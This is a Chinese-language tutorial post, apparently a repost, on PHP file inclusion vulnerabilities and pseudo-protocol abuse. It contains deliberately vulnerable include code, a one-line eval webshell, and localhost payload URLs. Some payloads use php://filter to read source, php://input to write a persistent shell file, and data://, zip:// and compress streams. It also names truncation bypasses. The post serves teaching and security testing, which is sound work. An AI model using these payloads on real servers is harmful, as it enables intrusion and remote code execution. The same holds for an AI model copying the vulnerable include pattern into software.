本文介绍: 伪协议常常用于文件包含漏洞之中。在php中能够造成文件包含的函数有includerequirehow_sourcefopenfilereadfile。include函数:可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。当第二次遇到相同文件时,PHP还是会重新解释一次。require函数:一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。
#文件包含漏洞
原理,检测,类型,利用,修复等
#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<!-—#include file="1.asp " -->
<!--#include file="top.aspx"-->
<c:import url="http://lthief.one/1.jsp">
<jsp:include page="head .jsp" / >
<%@ include file="head.jsp" %>
<?php Include ( 'test.php ' ) ?>
一、本地包含
1.1、无限制包含漏洞文件
<?php
$filename=$_GET['file'];
include ( $filename);
?>
1.2、有限制包含漏洞文件
<?php
$filename=$_GET['file'];
include ( $filename.".html" );
?>
1.2.1、绕过方法
1.2.1.1、%00截断
1.2.1.2、长度截断
二、远程包含
- 条件:
2.1、无限制包含漏洞文件
<?php
$filename=$_GET['file'];
include ( $filename);
?>
- 包含一句话木马:
<?php eval($_POST['cmd'])?>
2.2、有限制包含漏洞文件
<?php
$filename=$_GET['file'];
include ( $filename.".html" );
?>
三、各种协议流提交流
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
3.1、各协议的利用条件和方法
3.1.1、php://input
php://input
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input
同时post想设置的文件内容,php执行时会将post内容当作文件内容。- 注:当
enctype=”multipart/form-data”
时,php://input
是无效的。
3.1.2、file://
3.1.3、http://
、https://
3.1.4、php://
- php:// 用于访问各个输入/输出流(I/O streams),经常使用的是
php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php代码。
3.1.5、php://filter参数详解
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
- 执行php代码用法:
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
3.1.6、phar://
、zip://
、bzip2://
、zlib://
- 用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt
2、compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
3、compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?file=compress.zlib://./file.jpg4、phar://
3.1.7、data://
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
四、 总结
- 伪协议常常用于文件包含漏洞之中。
- 在php中能够造成文件包含的函数有
include
、require
、include_once
、require_once
、highlight_file
、how_source
、file_get_contents
、fopen
、file
、readfile
。include
函数:可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。当第二次遇到相同文件时,PHP还是会重新解释一次。require
函数:一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释。include_once
和require_once
函数:分别与require
/include
作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。hightfile
函数:highlight_file(filename,return)
——filename
:必需。要进行高亮处理的 PHP 文件的路径。return
:可选。如果设置 true,则本函数返回高亮处理的代码。该函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。show_source
函数:该函数是highlight_file
函数的别名。file_get_content
函数:把整个文件读入一个字符串中。和file()
一样,不同的是file_get_contents()
把文件读入一个字符串。file()
函数:把整个文件读入一个数组中。与file_get_contents()
类似,不同的是file()
将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。
五、涉及资源
- https://www.ichunqiu.com/battalion?t=1&r=0
- http://4.chinalover.sinaapp.com/web7/index.php
- https://www.cnblogs.com/endust/p/11804767.html #php伪协议
- https://pan.baidu.com/s/1x_mwVE-xxmoKAvDJ8mRsw 提取码:xiao
原文地址:https://blog.csdn.net/m0_62670778/article/details/134755004
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_35556.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。